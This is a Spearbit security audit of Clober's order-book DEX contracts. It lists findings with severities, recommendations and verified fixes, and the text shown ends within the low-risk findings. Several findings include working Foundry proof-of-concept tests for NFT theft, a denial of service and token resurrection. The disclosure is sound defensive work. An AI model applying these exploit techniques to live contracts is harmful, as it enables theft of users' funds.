SPEARBIT

CLOBER Security Review

Auditors

Christoph Michel, Lead Security Researcher

Desmond Ho, Lead Security Researcher

Throttle, Security Researcher

Grmpyninja, Junior Security Researcher

Taek Lee, Junior Security Researcher

Report prepared by: Pablo Misirov

February 11, 2023

Contents

1 About Spearbit

Spearbit is a decentralized network of expert security engineers offering reviews and other security related services to Web3 projects with the goal of creating a stronger ecosystem. Our network has experience on every part of the blockchain technology stack, including but not limited to protocol design, smart contracts and the Solidity compiler. Spearbit brings in untapped security talent by enabling expert freelance auditors seeking flexibility to work on interesting projects together.

Learn more about us at spearbit.com

2 Introduction

Clober presents a new algorithm for order book DEX “LOBSTER - Limit Order Book with Segment Tree for Efficient oRder-matching” that enables on-chain order matching and settlement on decentralized smart contract platforms. With Clober, market participants can place limit and market orders in a fully decentralized, trustless way at a manageable cost.

Disclaimer: This security review does not guarantee against a hack. It is a snapshot in time of clober-dex according to the specific commit. Any modifications to the code will require a new security review.

3 Risk classification

Severity level	**Impact: High**	**Impact: Medium**	**Impact: Low**
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

3.1 Impact

- High - leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
- Medium - global losses <10% or losses to only a subset of users, but still unacceptable.
- Low - losses will be annoying but bearable--applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.

3.2 Likelihood

- High - almost certain to happen, easy to perform, or not easy but highly incentivized
- Medium - only conditionally possible or incentivized, but still relatively likely
- Low - requires stars to align, or little-to-no incentive

3.3 Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

4 Executive Summary

Over the course of 10 days in total, Clober engaged with Spearbit to review the clober-dex protocol. In this period of time a total of **57** issues were found.

Note: The Clober team found and raised two issues mentioned in the appendix section of this document which have been reviewed by the Spearbit team and included in the table below.

Summary

Project Name	Clober
Repository	core
Commit	28062f...1862
Type of Project	Limit Order Book, DEX
Audit Timeline	Jan 2 - Jan 13
Two week fix period	Jan 13 - Jan 27
Fix extension	Jan 31 - Feb 3

Issues Found

Severity	**Count**	**Fixed**	**Acknowledged**
Critical Risk	4	4	0
High Risk	5	5	0
Medium Risk	5	5	0
Low Risk	8	8	0
Gas Optimizations	22	22	0
Informational	13	8	5
Total	**57**	**52**	**5**

5 Findings

5.1 Critical Risk

5.1.1 OrderBook Denial of Service leveraging blacklistable tokens like USDC

Severity: Critical Risk

Context: OrderBook.sol#L649-L666 - audit commit OrderBook.sol#L687-L706 - dev commit

Description: The issue was spotted while analysing additional impact and fix for 67

Proof of concept checked with the original audit commit: `28062f477f571b38fe4f8455170bd11094a71862` and the newest available commit from dev branch: `2ed4370b5de9cec5c455f5485358db194f093b01`

Due to the architecture decision which implements orders queue as a cyclic buffer the `OrderBook` after reaching `MAX_ORDERS` (~32k) for a given price point, starts to overwrite stale orders. If an order was never claimed or it is broken, so it cannot be claimed, it is not possible to place a new order in a queue. This emerges due to a fact that it is not possible to finalize the stale order and deliver the underlying assets, what is done while placing a new and replacing a stale order.

Effectively this issue can be used to block the main functionality of the `OrderBook`, so placing new orders for a given price point. Only a single broken order per price-point is enough to lead to this condition. The issue will not be immediately visible as it requires the cyclic buffer to make a circle and encounter the broken order.

The proof of concept in `SecurityAuditTests.sol` attachment implements a simple scenario where a USDC-like mock token is used:

1. Mallory creates one ASK order at some price point (to sell X base tokens for Y quoteTokens).
2. Mallory transfers ownership of the `OrderNFT` token to an address which is blacklisted by quoteToken (e.g. USDC)
3. Orders queue implemented as a circular buffer over time overflows and starts replacing old orders.
4. When it is the time to replace the order the `quoteToken` is about to be transferred, but due to the blacklist the assets cannot be delivered.
5. At this point it is impossible to place new orders at this price index, unless the owner of the `OrderNFT` transfers it to somebody who can receive `quoteToken`.

Proof of concept result for the newest `2ed4370b5de9cec5c455f5485358db194f093b01` commit:

```
# $ git clone ... && git checkout 2ed4370b5de9cec5c455f5485358db194f093b01
# $ forge test -m "test_security_BlockOrderQueueWithBlacklistableToken"

 [25766] MockOrderBook::limitOrder(0x0000000000000000000000000000000000004444, 3, 0,
↪  333333333333333334, 2, 0x)
    [8128] OrderNFT::onBurn(false, 3, 0)
       [1448] MockOrderBook::getOrder((false, 3, 0)) [staticcall]
          ← (1, 0, 0x00000000000000000000000000000000DeaDBeef)
       emit Approval(owner: 0x00000000000000000000000000000000DeaDBeef, approved:
↪  0x0000000000000000000000000000000000000000, tokenId:
↪  20705239040371691362304267586831076357353326916511159665487572671397888)
       emit Transfer(from: 0x00000000000000000000000000000000DeaDBeef, to:
↪  0x0000000000000000000000000000000000000000, tokenId:
↪  20705239040371691362304267586831076357353326916511159665487572671397888)
       ← ()
    emit ClaimOrder(claimer: 0x0000000000000000000000000000000000004444, user:
↪  0x00000000000000000000000000000000DeaDBeef, rawAmount: 1, bountyAmount: 0, orderIndex: 0,
↪  priceIndex: 3, isBase: false)
    [714] MockSimpleBlockableToken::transfer(0x00000000000000000000000000000000DeaDBeef, 10000)
       ← "blocked"
    ← "blocked"
 ← "blocked"
```

In real life all *-USDC and USDC-* pairs as well as other pairs where a single token implements a block list are affected. The issue is also appealing to the attacker as at any time if the attacker controls the blacklisted wallet address, he/she can transfer the unclaimable OrderNFT to a whitelisted address to claim his/her assets and to enable processing until the next broken order is placed in the cyclic buffer. It can be used either to manipulate the market by blocking certain types of orders per given price points or simply to blackmail the DAO to resume operations.

Recommendation: Prevent blocking condition by removing forced transfers in claim while replacing stale orders.

Clober: Fixed clober-dex/core/pull/363.

Spearbit: Fix verified. A global _orders mapping allowing to store unique orders was added, so it is no longer needed to force claim and transfer while replacing a stale order. makeOrder() ensures that the stale order has been fully filled before replacing it. When claiming for the stale order, _calculateClaimableRawAmount returns the stale order's filled amount.

```
if (orderKey.orderIndex + _MAX_ORDER < queue.index) {
  // replaced order
  return orderOpenAmount;
}
```

5.1.2 Overflow in SegmentedSegmentTree464

Severity: Critical Risk

Context: SegmentedSegmentTree464.sol#L173

Description: SegmentedSegmentTree464.update needs to perform an overflow check in case the new value is greater than the old value. This overflow check is done when adding the new difference to each node in each layer (using addClean). Furthermore, there's a final overflow check by adding up all nodes in the first layer in total(core).

However, in total, the nodes in individual groups are added using DirtyUint64.sumPackedUnsafe:

```
function total(Core storage core) internal view returns (uint64) {
    return DirtyUint64.sumPackedUnsafe(core.layers[0][0], 0, _C)
        + DirtyUint64.sumPackedUnsafe(core.layers[0][1], 0, _C);
}
```

The nodes in a group can overflow without triggering an overflow & revert. The impact is that the order book depth and claim functionalities break for all users.

```
// SPDX-License-Identifier: BUSL-1.1

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/StdJson.sol";
import "../../contracts/mocks/SegmentedSegmentTree464Wrapper.sol";

contract SegmentedSegmentTree464Test is Test {
  using stdJson for string;

  uint32 private constant _MAX_ORDER = 2**15;

  SegmentedSegmentTree464Wrapper testWrapper;

  function setUp() public {
      testWrapper = new SegmentedSegmentTree464Wrapper();
  }

  function testTotalOverflow() public {
      uint64 half64 = type(uint64).max / 2 + 1;
      testWrapper.update(0, half64);
      // map to the right node of layer 0, group 0
      testWrapper.update(_MAX_ORDER / 2 - 1, half64);
      assertEq(testWrapper.total(), 0);
  }
}
```

Recommendation: Perform a safe addition for the first layer and rewrite the overflow check.

```
// DirtyUint64.sumPackedSafe still needs to be implemented and should do checked addition
require(
    uint256(DirtyUint64.sumPackedSafe(core.layers[0][0], 0, _C))
        + uint256(DirtyUint64.sumPackedSafe(core.layers[0][1], 0, _C)) <= type(uint64).max,
    "TREE_MAX"
);
```

Clober: Fixed in PR 40.

Spearbit: Verified. The fix checks whether the new updated value can cause an overflow and throws the error early preventing such operations.

5.1.3 OrderNFT theft due to controlling future and past tokens of same order index

Severity: Critical Risk

Context: OrderBook.sol#L410, OrderNFT.sol#L285

Description: The order queue is implemented as a ring buffer, to get an order (`Orderbook.getOrder`) the index in the queue is computed as `orderIndex % _MAX_ORDER`. The owner of an `OrderNFT` also uses this function.

```
function _getOrder(OrderKey calldata orderKey) internal view returns (Order storage) {
    return _getQueue(orderKey.isBid, orderKey.priceIndex).orders[orderKey.orderIndex & _MAX_ORDER_M];
}

CloberOrderBook(market).getOrder(decodeId(tokenId)).owner
```

Therefore, the current owner of the NFT of `orderIndex` also owns all NFTs with `orderIndex + k * _MAX_ORDER`. An attacker can set approvals of future token IDs to themself. These approvals are not cleared on `OrderNFT.onMint` when a victim mints this future token ID, allowing the attacker to steal the NFT and cancel the NFT to claim their tokens.

```
// SPDX-License-Identifier: BUSL-1.1

pragma solidity ^0.8.0;

import "forge-std/Test.sol";

import "../../../../contracts/interfaces/CloberMarketSwapCallbackReceiver.sol";
import "../../../../contracts/mocks/MockQuoteToken.sol";
import "../../../../contracts/mocks/MockBaseToken.sol";
import "../../../../contracts/mocks/MockOrderBook.sol";
import "../../../../contracts/markets/VolatileMarket.sol";
import "../../../../contracts/OrderNFT.sol";
import "../utils/MockingFactoryTest.sol";
import "./Constants.sol";

contract ExploitsTest is Test, CloberMarketSwapCallbackReceiver, MockingFactoryTest {

  struct Return {
      address tokenIn;
      address tokenOut;
      uint256 amountIn;
      uint256 amountOut;
      uint256 refundBounty;
  }

  struct Vars {
      uint256 inputAmount;
      uint256 outputAmount;
      uint256 beforePayerQuoteBalance;
      uint256 beforePayerBaseBalance;
      uint256 beforeTakerQuoteBalance;
      uint256 beforeOrderBookEthBalance;
  }

  MockQuoteToken quoteToken;
  MockBaseToken baseToken;
  MockOrderBook orderBook;
  OrderNFT orderToken;

  function setUp() public {
      quoteToken = new MockQuoteToken();
      baseToken = new MockBaseToken();
  }

  function cloberMarketSwapCallback(
      address tokenIn,
      address tokenOut,
      uint256 amountIn,
      uint256 amountOut,
      bytes calldata data
  ) external payable {
      if (data.length != 0) {
          Return memory expectedReturn = abi.decode(data, (Return));
          assertEq(tokenIn, expectedReturn.tokenIn, "ERROR_TOKEN_IN");
          assertEq(tokenOut, expectedReturn.tokenOut, "ERROR_TOKEN_OUT");
          assertEq(amountIn, expectedReturn.amountIn, "ERROR_AMOUNT_IN");
          assertEq(amountOut, expectedReturn.amountOut, "ERROR_AMOUNT_OUT");
          assertEq(msg.value, expectedReturn.refundBounty, "ERROR_REFUND_BOUNTY");
      }
      IERC20(tokenIn).transfer(msg.sender, amountIn);
  }
```

```
function _createOrderBook(int24 makerFee, uint24 takerFee) private {
    orderToken = new OrderNFT();
    orderBook = new MockOrderBook(
        address(orderToken),
        address(quoteToken),
        address(baseToken),
        1,
        10**4,
        makerFee,
        takerFee,
        address(this)
    );
    orderToken.init("", "", address(orderBook), address(this));

    uint256 _quotePrecision = 10**quoteToken.decimals();
    quoteToken.mint(address(this), 1000000000 * _quotePrecision);
    quoteToken.approve(address(orderBook), type(uint256).max);

    uint256 _basePrecision = 10**baseToken.decimals();
    baseToken.mint(address(this), 1000000000 * _basePrecision);
    baseToken.approve(address(orderBook), type(uint256).max);
}

function _buildLimitOrderOptions(bool isBid, bool postOnly) private pure returns (uint8) {
    return (isBid ? 1 : 0) + (postOnly ? 2 : 0);
}

uint256 private constant _MAX_ORDER = 2**15; // 32768
uint256 private constant _MAX_ORDER_M = 2**15 - 1; // % 32768

function testExploit2() public {
    _createOrderBook(0, 0);

    address attacker = address(0x1337);
    address attacker2 = address(0x1338);
    address victim = address(0xbabe);
    // Step 1. Attacker creates an ASK limit order and receives NFT
    uint16 priceIndex = 100;
    uint256 orderIndex = orderBook.limitOrder{value: Constants.CLAIM_BOUNTY * 1 gwei}({
        user: attacker,
        priceIndex: priceIndex,
        rawAmount: 0,
        baseAmount: 1e18,
        options: _buildLimitOrderOptions(Constants.ASK, Constants.POST_ONLY),
        data: new bytes(0)
    });

    // Step 2. Given the `OrderKey` which represents the created limit order, an attacker can craft
↪  ambiguous tokenIds
    CloberOrderBook.OrderKey memory orderKey =
        CloberOrderBook.OrderKey({isBid: false, priceIndex: priceIndex, orderIndex: orderIndex});
    uint256 currentTokenId = orderToken.encodeId(orderKey);
    orderKey.orderIndex += _MAX_ORDER;
    uint256 futureTokenId = orderToken.encodeId(orderKey);

    // Step 3. Attacker approves the futureTokenId to themself, and cancels the current id
    vm.startPrank(attacker);
    orderToken.approve(attacker2, futureTokenId);
    CloberOrderBook.OrderKey[] memory orderKeys = new CloberOrderBook.OrderKey[](1);
    orderKeys[0] = orderKey;
    orderKeys[0].orderIndex = orderIndex; // restore original orderIndex
```

```
      orderBook.cancel(attacker, orderKeys);
      vm.stopPrank();

      // Step 4. attacker fills queue, victim creates their order recycles orderIndex 0
      uint256 victimOrderSize = 1e18;
      for(uint256 i = 0; i < _MAX_ORDER; i++) {
          orderBook.limitOrder{value: Constants.CLAIM_BOUNTY * 1 gwei}({
              user: i < _MAX_ORDER - 1 ? attacker : victim,
              priceIndex: priceIndex,
              rawAmount: 0,
              baseAmount: victimOrderSize,
              options: _buildLimitOrderOptions(Constants.ASK, Constants.POST_ONLY),
              data: new bytes(0)
          });
      }

      assertEq(orderToken.ownerOf(futureTokenId), victim);

      // Step 5. Attacker steals the NFT and can cancel to receive the tokens
      vm.startPrank(attacker2);
      orderToken.transferFrom(victim, attacker, futureTokenId);
      vm.stopPrank();
      assertEq(orderToken.ownerOf(futureTokenId), attacker);

      uint256 baseBalanceBefore = baseToken.balanceOf(attacker);
      vm.startPrank(attacker);
      orderKeys[0].orderIndex = orderIndex + _MAX_ORDER;
      orderBook.cancel(attacker, orderKeys);
      vm.stopPrank();
      assertEq(baseToken.balanceOf(attacker) - baseBalanceBefore, victimOrderSize);
  }
}
```

Recommendation: The approvals should be cleared on `onMint`, similar to `onBurn`. The owner must not control any *future* or *past*, already burned, tokens that map to the same `index mod _MAX_ORDER`. This must be fully prevented to mitigate this attack. Revert in `getOrder` if the `orderKey` maps to an NFT that has already been burned or not been minted yet. See *Order owner isn't zeroed after burning*'s recommendation to correctly detect burned tokens.

```
function onMint(
    address to,
    bool isBid,
    uint16 priceIndex,
    uint256 orderIndex
) external onlyOrderBook {
    require(to != address(0), Errors.EMPTY_INPUT);
    uint256 tokenId = _encodeId(isBid, priceIndex, orderIndex);

+   // Clear approvals
+   _approve(to, address(0), tokenId);

    _increaseBalance(to);

    emit Transfer(address(0), to, tokenId);
}

function _getOrder(OrderKey calldata orderKey) internal view returns (Order storage) {
+   uint256 currentIndex = _getQueue(orderKey.isBid, orderKey.priceIndex).index;
+   // valid active tokens are [currentIndex - _MAX_ORDER, currentIndex)
+   require(orderKey.orderIndex < currentIndex, Errors.NFT_INVALID_ID);
+   if (currentIndex >= _MAX_ORDER) {
+     require(orderKey.orderIndex >= currentIndex - _MAX_ORDER, Errors.NFT_INVALID_ID);
+   }
    return _getQueue(orderKey.isBid, orderKey.priceIndex).orders[orderKey.orderIndex & _MAX_ORDER_M];
}
```

Clober: Due to this issue, I think it would be better to implement the orderIndex validation logic suggested by you at `_getOrder` function, to all external functions that receive orderIndex/orderKey. Fixed in PR 352.

Spearbit: Fixed. The approval reset is not done in `onMint` but as discussed, it shouldn't be needed if nobody can control unminted tokens. Furthermore, the fix to *OrderBook Denial of Service leveraging blacklistable tokens like USDC* ensures that each order index is now unique.

5.1.4 OrderNFT theft due to ambiguous `tokenId` encoding/decoding scheme

Severity: Critical Risk

Context: OrderNFT.sol#L249-L274 OrderNFT.sol#L70-L74 OrderNFT.sol#L82-L89

Description: The `encodeId()` uniquely encodes `OrderKey` to a `uin256` number. However, `decodeId()` ambiguously can decode many `tokenId`'s to the exact same `OrderKey`. This can be problematic due to the fact that contract uses `tokenId`'s to store approvals.

The ambiguity comes from converting `uint8` value to `bool isBid` value here

```
function decodeId(uint256 id) public pure returns (CloberOrderBook.OrderKey memory) {
    uint8 isBid;
    uint16 priceIndex;
    uint232 orderIndex;
    assembly {
        orderIndex := id
        priceIndex := shr(232, id)
        isBid := shr(248, id)
    }
    return CloberOrderBook.OrderKey({isBid: isBid == 1, priceIndex: priceIndex, orderIndex:
↪   orderIndex});
}
```

(note that the attack is possible only for ASK limit orders)

Proof of Concept

```
// Step 1. Attacker creates an ASK limit order and receives NFT
uint16 priceIndex = 100;
uint256 orderIndex = orderBook.limitOrder{value: Constants.CLAIM_BOUNTY * 1 gwei}({
    user: attacker,
    priceIndex: priceIndex,
    rawAmount: 0,
    baseAmount: 10**18,
    options: _buildLimitOrderOptions(Constants.ASK, Constants.POST_ONLY),
    data: new bytes(0)
});

// Step 2. Given the `OrderKey` which represents the created limit order, an attacker can craft
↪   ambiguous tokenIds
CloberOrderBook.OrderKey memory order_key = CloberOrderBook.OrderKey({isBid: false, priceIndex:
↪   priceIndex, orderIndex: orderIndex});
uint256 tokenId = orderToken.encodeId(order_key);
uint256 ambiguous_tokenId = tokenId + (1 << 255); // crafting ambiguous tokenId

// Step 3. Attacker approves both victim (can be a third-party protocol like OpenSea) and his other
↪   account
vm.startPrank(attacker);
orderToken.approve(victim, tokenId);
orderToken.approve(attacker2, ambiguous_tokenId);
vm.stopPrank();

// Step 4. Victim transfers the NFT to the themselves. (Or attacker trades it)
vm.startPrank(victim);
orderToken.transferFrom(attacker, victim, tokenId);
vm.stopPrank();

// Step 5. Attacker steals the NFT
vm.startPrank(attacker2);
orderToken.transferFrom(victim, attacker2, ambiguous_tokenId);
vm.stopPrank();
```

Recommendation: Validate the decoded `uint8` value to be either 0 or 1 which unambiguously converts to bid and ask respectively.

Clober: Fixed in commit 22b9a233.

Spearbit: Fixed.

5.2 High Risk

5.2.1 Missing owner check on `from` when transferring tokens

Severity: High Risk

Context: OrderNFT.sol#L207

Description: The `OrderNFT.transferFrom/safeTransferFrom` use the internal `_transfer` function. While they check approvals on `msg.sender` through `_isApprovedOrOwner(msg.sender, tokenId)`, it is never checked that the specified `from` parameter is actually the owner of the NFT.

An attacker can decrease other users' NFT balances, making them unable to cancel or claim their NFTs and locking users' funds. The attacker transfers their own NFT passing the victim as `from` by calling `transferFrom(from=victim, to=attackerAccount, tokenId=attackerTokenId)`. This passes the `_isApprovedOrOwner` check, but reduces `from`'s balance.

Recommendation: Add the following check to `_transfer`

```
require(ownerOf(tokenId) == from, Errors.ACCESS);
```

Clober: Fixed PR 310.

Spearbit: Verified. Ownership check added.

5.2.2 Wrong minimum net fee check

Severity: High Risk

Context: MarketFactory.sol#L79, MarketFactory.sol#L111

Description: A minimum net fee was introduced that all markets should comply by such that the protocol earns fees. The protocol fees are computed `takerFee + makerFee` and the market factory computes the wrong check. Fee pairs that should be accepted are currently not accepted, and even worse, fee pairs that should be rejected are currently accepted. Market creators can avoid collecting protocol fees this way.

Recommendation: Implement a `takerFee + makerFee >= minNetFee` check instead:

```
require(int256(uint256(takerFee)) + makerFee >= minNetFee, Errors.INVALID_FEE);
```

Clober: Fixed in PR 307, PR 308 and PR 311.

Spearbit: Fixed. Condition has been inverted for the use of custom errors.

```
if (marketHost != owner && int256(uint256(takerFee)) + makerFee < int256(uint256(minNetFee))) {
   revert Errors.CloberError(Errors.INVALID_FEE);
```

5.2.3 Rounding up of taker fees of constituent orders may exceed collected fee

Severity: High Risk

Context: OrderBook.sol#L463 OrderBook.sol#L478-L482 OrderBook.sol#L604

Description: If multiple orders are taken, the taker fee calculated is rounded up once, but that of each taken maker order could be rounded up as well, leading to more fees accounted for than actually taken.

Example:

- `takerFee = 100011` (10.0011%)
- 2 maker orders of amounts `400000` and `377000`
- total amount = `400000 + 377000 = 777000`
- Taker fee taken = `777000 * 100011 / 1000000 = 77708.547 = 777709` Maker fees would be

```
377000 * 100011 / 1000000 = 37704.147 = 37705
400000 * 100011 / 1000000 = 40004.4 = 40005
```

which is 1 wei more than actually taken.

Below is a foundry test to reproduce the problem, which can be inserted into `Claim.t.sol`:

```
function testClaimFeesFailFromRounding() public {
    _createOrderBook(0, 100011); // 10.0011% taker fee

    // create 2 orders
    uint256 orderIndex1 = _createPostOnlyOrder(Constants.BID, Constants.RAW_AMOUNT);
    uint256 orderIndex2 = _createPostOnlyOrder(Constants.BID, Constants.RAW_AMOUNT);

    // take both orders
    _createTakeOrder(Constants.BID, 2 * Constants.RAW_AMOUNT);

    CloberOrderBook.OrderKey[] memory ids = new CloberOrderBook.OrderKey[](2);
    ids[0] = CloberOrderBook.OrderKey({
        isBid: Constants.BID,
        priceIndex: Constants.PRICE_INDEX,
        orderIndex: orderIndex1
    });
    ids[1] = CloberOrderBook.OrderKey({
        isBid: Constants.BID,
        priceIndex: Constants.PRICE_INDEX,
        orderIndex: orderIndex2
    });

    // perform claim
    orderBook.claim(
        address(this),
        ids
    );

    // (uint128 quoteFeeBal, uint128 baseFeeBal) = orderBook.getFeeBalance();
    // console.log(quoteFeeBal); // fee accounted = 20004
    // console.log(baseFeeBal); // fee accounted = 0
    // console.log(quoteToken.balanceOf(address(orderBook))); // actual fee collected = 20003

    // try to claim fees, will revert
    vm.expectRevert("ERC20: transfer amount exceeds balance");
    orderBook.collectFees();
}
```

Recommendation: Consider rounding down the taker fee instead of rounding up.

Clober: Fixed in PR 325.

While checking this issue, I found that we should use rounding up at below 3 parts (pretty informative) to avoid loss of the protocol.

1. flash loan fee calculation: OrderBook.sol#L330-L331
2. dao fee calculation: OrderBook.sol#L839
3. maker fee(when makerFee > 0) calculation: OrderBook.sol#L476

Spearbit: Fixed.

5.2.4 Drain tokens condition due to reentrancy in `collectFees`

Severity: High Risk

Context: OrderBook.sol#L800-L810

Description: `collectFees` function is not guarded by a re-entrancy guard. In case a transfer of at least one of the tokens in a trading pair allows to invoke arbitrary code (e.g. token implementing callbacks/hooks), it is possible for a malicious host to drain trading pools. The re-entrancy condition allows to transfer collected fees multiple times to both DAO and the host beyond the actual fee counter.

Recommendation: Add re-entrancy guard to mitigate the issue in `collectFees` function or implement a `check-effect-interaction` pattern to update the balance before the transfer is executed.

Clober: Fixed in commit 93b287d2.

Spearbit: Verified. `nonReentrant` added.

5.3 Medium Risk

5.3.1 Group claim clashing condition

Severity: Medium Risk

Context: OrderBook.sol#L685

Description: Claim functionality is designed to support 3rd party operators to claim multiple orders on behalf of market's users to finalise the transactions, deliver assets and earn bounties. The code allows to iterate over a list of orders to execute `_claim`.

```
function claim(address claimer,
               OrderKey[] calldata orderKeys)
    external nonReentrant revertOnDelegateCall {
        uint32 totalBounty = 0;
        for (uint256 i = 0; i < orderKeys.length; i++) {
        ...
        (uint256 claimedTokenAmount, uint256 minusFee, uint64 claimedRawAmount) = _claim(
                queue,
                mOrder,
                orderKey,
                claimer
            );
        ...
        }
}
```

However, neither `claim` nor `_claim` functions in `OrderBook` support skipping already fulfilled orders. On the contrary in case of a revert in `_claim` the whole transaction is reverted.

```
function _claim(...)
        private
        returns (...)
    {
    ...
    require(mOrder.openOrderAmount > 0, Errors.OB_INVALID_CLAIM);
    ...
}
```

Such implementation does not support fully the initial idea of 3rd party operators claiming orders in batches. A transaction claiming multiple orders at once can easily clash with others and be reverted completely, effectively claiming nothing - just wasting gas. Clashing can happen for instance when two bots got overlapping lists of orders or when the owner of the order decides to claim or cancel his/her order manually while the bot is about to claim it as well.

Recommendation: It is recommended to consider skipping already claimed orders to resolve described clashing claims cases.

Clober: Fixed PR 338.

Spearbit: Verified. `claim` is skipping orders which could cause revert in `_claim`. Other functions invoking claim do have a proper check before `_claim` is invoked thus are not affected.

5.3.2 Order owner isn't zeroed after burning

Severity: Medium Risk

Context: OrderBook.sol#L821-L823 OrderNFT.sol#L78-L82 OrderNFT.sol#L189

Description: The order's owner is not zeroed out when the NFT is burnt. As a result, while the `onBurn()` method records the NFT to have been transferred to the zero address, `ownerOf()` still returns the current order's owner. This allows for unexpected behaviour, like being able to call `approve()` and `safeTransferFrom()` functions on non-existent tokens.

A malicious actor could sell such resurrected NFTs on secondary exchanges for profit even though they have no monetary value. Such NFTs will revert on cancellation or claim attempts since `openOrderAmount` is zero.

```
function testNFTMovementAfterBurn() public {
    _createOrderBook(0, 0);

    address attacker2 = address(0x1337);

    // Step 1: make 2 orders to avoid bal sub overflow when moving burnt NFT in step 3
    uint256 orderIndex1 = _createPostOnlyOrder(Constants.BID, Constants.RAW_AMOUNT);
    _createPostOnlyOrder(Constants.BID, Constants.RAW_AMOUNT);

    CloberOrderBook.OrderKey memory orderKey =
      CloberOrderBook.OrderKey({
        isBid: Constants.BID,
        priceIndex: Constants.PRICE_INDEX,
        orderIndex: orderIndex1
    });

    uint256 tokenId = orderToken.encodeId(orderKey);

    // Step 2: burn 1 NFT by cancelling one of the orders
    vm.startPrank(Constants.MAKER);
    orderBook.cancel(
        Constants.MAKER,
        _toArray(orderKey)
    );

    // verify ownership is still maker
    assertEq(orderToken.ownerOf(tokenId), Constants.MAKER, "NFT_OWNER");

    // Step 3: resurrect burnt token by calling safeTransferFrom
    orderToken.safeTransferFrom(
        Constants.MAKER,
        attacker2,
        tokenId
    );

    // verify ownership is now attacker2
    assertEq(orderToken.ownerOf(tokenId), attacker2, "NFT_OWNER");
}
```

Recommendation: The owner should be zeroed in `_burnToken()`.

```
function _burnToken(OrderKey memory orderKey) internal {
   CloberOrderNFT(orderToken).onBurn(orderKey.isBid, orderKey.priceIndex, orderKey.orderIndex);
+ _getOrder(orderKey).owner = address(0);
}
```

Clober: Fixed in PR 334.

Spearbit: Verified. The owner of the order is correctly zeroed in the `OrderBook` after burning the NFT.

5.3.3 Lack of two-step role transfer

Severity: Medium Risk

Context: MarketFactory.sol#L146-L152 MarketFactory.sol#L137-L140

Description: The contracts lack two-step role transfer. Both the ownership of the `MarketFactory` as well as the change of market's host are implemented as single-step functions. The basic validation whether the address is not a zero address for a market is performed, however the case when the address receiving the role is inaccessible is not covered properly.

Taking into account the `handOverHost` can be invoked without any supervision, by anyone who created the market it is possible to make a typo unintentionally or intentionally if the attacker wants simply to brick fees collection as currently the host affects `collectFees` in `OrderBook` (described as a separate issue).

The ownership transfer in theory should be less error-prone as it should be done by DAO with great care, however still two-step role transfer should be preferable.

Recommendation: It is recommended to implement a two-step role transfer where the role recipient is set and then the recipient has to claim that role to finalise the role transfer.

Clober: Fixed in PR 322.

Spearbit: Verified. Two-step role transfers added for contract's owner and market's host.

5.3.4 Atomic fees delivery susceptible to funds lockout

Severity: Medium Risk

Context: OrderBook.sol#L791-L798 OrderBook.sol#L804-L805

Description: The `collectFees` function delivers the `quoteToken` part of fees as well as the `baseToken` part of fees atomically and simultaneously to both the DAO and the host. In case a single address is for instance blacklisted (e.g. via USDC blacklist feature) or a token in a pair happens to be malicious and configured the way transfer to one of the addresses reverts it is possible to block fees delivery.

```
function collectFees() external nonReentrant { // @audit delivers both tokens atomically
    require(msg.sender == _host(), Errors.ACCESS);
    if (_baseFeeBalance > 1) {
        _collectFees(_baseToken, _baseFeeBalance - 1);
        _baseFeeBalance = 1;
    }
    if (_quoteFeeBalance > 1) {
        _collectFees(_quoteToken, _quoteFeeBalance - 1);
        _quoteFeeBalance = 1;
    }
}

function _collectFees(IERC20 token, uint256 amount) internal { // @audit delivers to both wallets
    uint256 daoFeeAmount = (amount * _DAO_FEE) / _FEE_PRECISION;
    uint256 hostFeeAmount = amount - daoFeeAmount;
    _transferToken(token, _daoTreasury(), daoFeeAmount);
    _transferToken(token, _host(), hostFeeAmount);
}
```

There are multiple cases when such situation can happen for instance: a malicious host wants to block the function for DAO to prevent collecting at least guaranteed valuable `quoteToken` or a hacked DAO can swap treasury to some invalid address and renounce ownership to brick `collectFees` across multiple markets.

Taking into account the current implementation in case it is not possible to transfer tokens it is necessary to swap the problematic address, however depending on the specific case it might be not trivial.

Recommendation: It is recommended to parametrize `collectFee` to choose a token to collect and keep separate counters of delivered fees.

Clober: Fixed in PR 359.

Spearbit: Verified. The function was parametrized to deliver a given token to a single recipient.

5.3.5 DAO fees potentially unavailable due to overly strict access control

Severity: Medium Risk

Context: OrderBook.sol#L790

Description: The `collectFees` function is guarded by an inline access control `require` statement condition which prevents anyone, except a host, from invoking the function. Only the host of the market is authorized to invoke, effectively deliver all collected fees, including the part of the fees belonging to the DAO.

```
function collectFees() external nonReentrant {
    require(msg.sender == _host(), Errors.ACCESS); // @audit only host authorized
    if (_baseFeeBalance > 1) {
        _collectFees(_baseToken, _baseFeeBalance - 1);
        _baseFeeBalance = 1;
    }
    if (_quoteFeeBalance > 1) {
        _collectFees(_quoteToken, _quoteFeeBalance - 1);
        _quoteFeeBalance = 1;
    }
}
```

This access control is too strict and can lead to funds being locked permanently in the worst case scenario. As the host is a single point of failure in case access to the wallet is lost or is incorrectly transferred the fees for both the host and the DAO will be locked.

Recommendation: It is recommended to remove the access control from `collectFees` function as collected fees are transferred to fixed addresses being the host and the treasury. In such setup anyone should be able to invoke the function and trigger collected fees delivery at any time and it should not be limited only to the host of the market.

Clober: Fixed in PR 315.

Spearbit: Verified. Authorization modified. Everyone can trigger the function.

5.4 Low Risk

5.4.1 OrderNFT ownership and market host transfers are done separately

Severity: Low Risk

Context: MarketFactory.sol#L146-L152 OrderNFT.sol#L15

Description: The market host is entitled to 80% of the fees collected, and is able to set the URI of the corresponding orderToken NFT. However, transferring the market host and the orderToken NFT is done separately. It is thus possible for a market host to transfer one but not the other.

Recommendation: Tightly couple the NFT ownership with the market host stored in `MarketFactory`.

Clober: Fixed PR 345.

Spearbit: Fixed. `OrderNFT` no longer inherits `Ownable`; `onlyOwner` has been replaced with `_factory.getMarketHost(market)`.

5.4.2 OrderNFTs can be renamed

Severity: Low Risk

Context: OrderNFT.sol#L53-L59

Description: The OrderNFT contract's `name` and `symbol` can be changed at any time by the market host. Usually, these fields are immutable for ERC721 NFTs. There might be potential issues with off-chain indexers that cache only the original value. Furthermore, suddenly renaming tokens by a malicious market host could lead to web2 phishing attacks.

